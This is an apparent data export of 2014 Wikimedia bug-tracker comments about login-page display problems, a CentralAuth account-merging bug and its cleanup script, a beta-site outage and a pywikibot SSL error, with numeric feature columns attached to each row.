327584,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,Florna seems to have made a start to this - might be some ideas there - https://gerrit.wikimedia.org/r/#/c/165248/4,,,1412792760,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-39,True,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,0.8823529411764706,Florna seems to have made a start to this - might be some ideas there - URL
327583,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Created attachment 16700
Similarly, if you hit an error you see two alert boxes. We should probably only show one.

**Attached**: {F15098}",,,1412727525,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8529411764705882,"Created attachment 16700
Similarly, if you hit an error you see two alert boxes. We should probably only show one.

**Attached**: {F15098}"
327581,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,I'd suggest styling the alert box instead of headmsg and using our own custom message which includes the bold text.,,,1412727514,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,4.363636363636363,0.9545454545454546,I'd suggest styling the alert box instead of headmsg and using our own custom message which includes the bold text.
327580,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/dDj3Id6L",,,1412727317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card URL"
73749,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,"Another case with the root of bug 70468. The fix should be the same as we did for the web interface-- pass $checkHome = true to the merge function.

--------------------------
**Version**: master
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=70468",Needs Triage,90.0,1412702520,1412802835.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-xavuonborvicrpe2pqnf,task_description,resolved,True,c3,1,True,False,True,-39,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3833333333333333,0.6666666666666666,"Another case with the root of bug 70468. The fix should be the same as we did for the web interface-- pass $checkHome = true to the merge function.

--------------------------
**Version**: master
**Severity**: normal
**See Also**:
URL"
326745,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,"Created attachment 16726
Patch after file reorg

**Attached**: {F15048}",,,1412802214,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-xavuonborvicrpe2pqnf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,0.8333333333333334,"Created attachment 16726
Patch after file reorg

**Attached**: {F15048}"
326738,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,"My dry-runs indicate that 581 global accounts will be broken up, which includes 4309 local accounts.",,,1412787481,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xavuonborvicrpe2pqnf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.95,"My dry-runs indicate that 581 global accounts will be broken up, which includes 4309 local accounts."
326732,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,"Created attachment 16709
script to break up bad global accounts

Script that goes through the log files which I copied to terbium from fluorine, figures out if the user had a homewiki picked that was different from the current one, and then deletes the localuser/globaluser rows, and invalidates the CA cache, and local wiki caches.

Has a dry run mode, manually set the 'simulate' member variable to false to make it run.

**Attached**: {F15047}",,,1412787255,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xavuonborvicrpe2pqnf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,2.0,10.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,1.0,7.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,10.0,5.0,0.0,2.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9270833333333335,0.7395833333333334,"Created attachment 16709
script to break up bad global accounts

Script that goes through the log files which I copied to terbium from fluorine, figures out if the user had a homewiki picked that was different from the current one, and then deletes the localuser/globaluser rows, and invalidates the CA cache, and local wiki caches.

Has a dry run mode, manually set the 'simulate' member variable to false to make it run.

**Attached**: {F15047}"
326727,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,I think that fixes the issue. Let's deploy it.,,,1412706520,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-xavuonborvicrpe2pqnf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.9166666666666666,I think that fixes the issue. Let's deploy it.
326722,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,"Created attachment 16693
patch

Patch made against 1.25wmf1, assumes that the patch for bug 70468 was also deployed. Cherry-picks cleanly against 1.25wmf2.

**Attached**: {F15046}",,,1412703667,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xavuonborvicrpe2pqnf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.076923076923077,0.8205128205128205,"Created attachment 16693
patch

Patch made against 1.25wmf1, assumes that the patch for bug 70468 was also deployed. Cherry-picks cleanly against 1.25wmf2.

**Attached**: {F15046}"
73618,Loginpage doesn't use mw-ui-button anymore,"no mw-ui buttons

On beta labs, login and create account pages doesn't use mw-ui submit buttons (input still mw-ui).

http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin
http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin&type=signup&campaign=loginCTA

--------------------------
**Version**: 1.25-git
**Severity**: normal

**Attached**: {F14704}",Needs Triage,90.0,1412363460,1412370659.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_description,resolved,True,c3,1,True,False,True,-39,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,0.5846153846153846,"no mw-ui buttons

On beta labs, login and create account pages doesn't use mw-ui submit buttons (input still mw-ui).

URL
URL

--------------------------
**Version**: 1.25-git
**Severity**: normal

**Attached**: {F14704}"
321165,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:

Change 164665 abandoned by Paladox:
Fix missing mw-ui-button on Login and create page

https://gerrit.wikimedia.org/r/164665",,,1412370389,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7586206896551726,0.7931034482758621,"**gerritadmin** wrote:

Change 164665 abandoned by Paladox:
Fix missing mw-ui-button on Login and create page

GERRIT_URL"
321161,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:

Change 164665 had a related patch set uploaded by Paladox:
Fix missing mw-ui-button on Login and create page

https://gerrit.wikimedia.org/r/164665",,,1412369541,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.735294117647059,0.8235294117647058,"**gerritadmin** wrote:

Change 164665 had a related patch set uploaded by Paladox:
Fix missing mw-ui-button on Login and create page

GERRIT_URL"
321157,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:

Change 164630 merged by jenkins-bot:
Fix missing mw-ui-button on Login and create page

https://gerrit.wikimedia.org/r/164630",,,1412368399,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5483870967741935,0.7741935483870968,"**gerritadmin** wrote:

Change 164630 merged by jenkins-bot:
Fix missing mw-ui-button on Login and create page

GERRIT_URL"
321153,Loginpage doesn't use mw-ui-button anymore,Whoops.,,,1412367362,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Whoops.
321149,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:

Change 164629 abandoned by Florianschmidtwelzow:
Fix missing mw-ui-button on Login and create page

Reason:
-> I99d5803818e4c2719f92cab0d9036a1cbc3943ca

https://gerrit.wikimedia.org/r/164629",,,1412364742,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,4.861111111111111,0.7222222222222222,"**gerritadmin** wrote:

Change 164629 abandoned by Florianschmidtwelzow:
Fix missing mw-ui-button on Login and create page

Reason:
-> I99d5803818e4c2719f92cab0d9036a1cbc3943ca

GERRIT_URL"
321144,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:

Change 164630 had a related patch set uploaded by Florianschmidtwelzow:
Fix missing mw-ui-button on Login and create page

https://gerrit.wikimedia.org/r/164630",,,1412364661,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.117647058823529,0.8235294117647058,"**gerritadmin** wrote:

Change 164630 had a related patch set uploaded by Florianschmidtwelzow:
Fix missing mw-ui-button on Login and create page

GERRIT_URL"
321138,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:

Change 164629 had a related patch set uploaded by Florianschmidtwelzow:
Fix missing mw-ui-button on Login and create page

https://gerrit.wikimedia.org/r/164629",,,1412364152,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.117647058823529,0.8235294117647058,"**gerritadmin** wrote:

Change 164629 had a related patch set uploaded by Florianschmidtwelzow:
Fix missing mw-ui-button on Login and create page

GERRIT_URL"
73532,login busted,"http://en.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin

is 503

--------------------------
**Version**: unspecified
**Severity**: critical",Needs Triage,90.0,1412196840,1413469255.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-jekgcahti7tcon56pca2,task_description,resolved,True,c3,1,False,False,True,-40,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.5454545454545454,"URL

is 503

--------------------------
**Version**: unspecified
**Severity**: critical"
329108,login busted,I guess this can be closed now as RESOLVED WORKSFORME / FIXED?,,,1413464793,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jekgcahti7tcon56pca2,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,31.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,15.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,1.0,I guess this can be closed now as RESOLVED WORKSFORME / FIXED?
329102,login busted,"Currently all pages on beta are down, the hhvm instances are in a restart loop.  It might be related to https://gerrit.wikimedia.org/r/#/c/164160/ , still investigating.",,,1412197012,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-jekgcahti7tcon56pca2,task_subcomment,,True,c3,1,False,,,-40,True,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.8214285714285716,0.8928571428571429,"Currently all pages on beta are down, the hhvm instances are in a restart loop.  It might be related to URL , still investigating."
73497,SSLError on requesting data from Wikidata,"When trying to get() an item from wikidata I get the following SSL related error:

ERROR: Traceback (most recent call last):
  File ""/usr/local/lib/python2.7/dist-packages/pywikibot-2.0b1-py2.7.egg/pywikibot/data/api.py"", line 452, in submit
    headers=headers, body=body)
  File ""/usr/local/lib/python2.7/dist-packages/pywikibot-2.0b1-py2.7.egg/pywikibot/tools.py"", line 367, in wrapper
    return method(*__args, **__kw)
  File ""/usr/local/lib/python2.7/dist-packages/pywikibot-2.0b1-py2.7.egg/pywikibot/comms/http.py"", line 258, in request
    raise request.data
SSLError: [Errno 185090050] _ssl.c:344: error:0B084002:x509 certificate routines:X509_load_cert_crl_file:system lib


To reproduce:
import pywikibot
repo = pywikibot.Site().data_repository()
item = pywikibot.ItemPage(repo, 'Q4115189')
item.get()

--------------------------
**Version**: core-(2.0)
**Severity**: normal",Needs Triage,90.0,1412156760,1412591353.0,PHID-USER-uu7wg6g3b37dcktbje3a,False,,False,PHID-TASK-w4js4xepsmk6fz75gkwe,task_description,invalid,True,c3,1,False,False,True,-40,True,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,2.6666666666666665,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,7.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,2.6666666666666665,8.333333333333334,0.0,3.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,3.9571428571428573,0.5857142857142857,"When trying to get() an item from wikidata I get the following SSL related error:

ERROR: Traceback (most recent call last):
  File ""/usr/local/lib/python2.7/dist-packages/pywikibot-2.0b1-py2.7.egg/pywikibot/data/api.py"", line 452, in submit
    headers=headers, body=body)
  File ""/usr/local/lib/python2.7/dist-packages/pywikibot-2.0b1-py2.7.egg/pywikibot/tools.py"", line 367, in wrapper
    return method(*__args, **__kw)
  File ""/usr/local/lib/python2.7/dist-packages/pywikibot-2.0b1-py2.7.egg/pywikibot/comms/http.py"", line 258, in request
    raise request.data
SSLError: [Errno 185090050] _ssl.c:344: error:0B084002:x509 certificate routines:X509_load_cert_crl_file:system lib


To reproduce:
import pywikibot
repo = pywikibot.Site().data_repository()
item = pywikibot.ItemPage(repo, 'Q4115189')
item.get()

--------------------------
**Version**: core-(2.0)
**Severity**: normal"
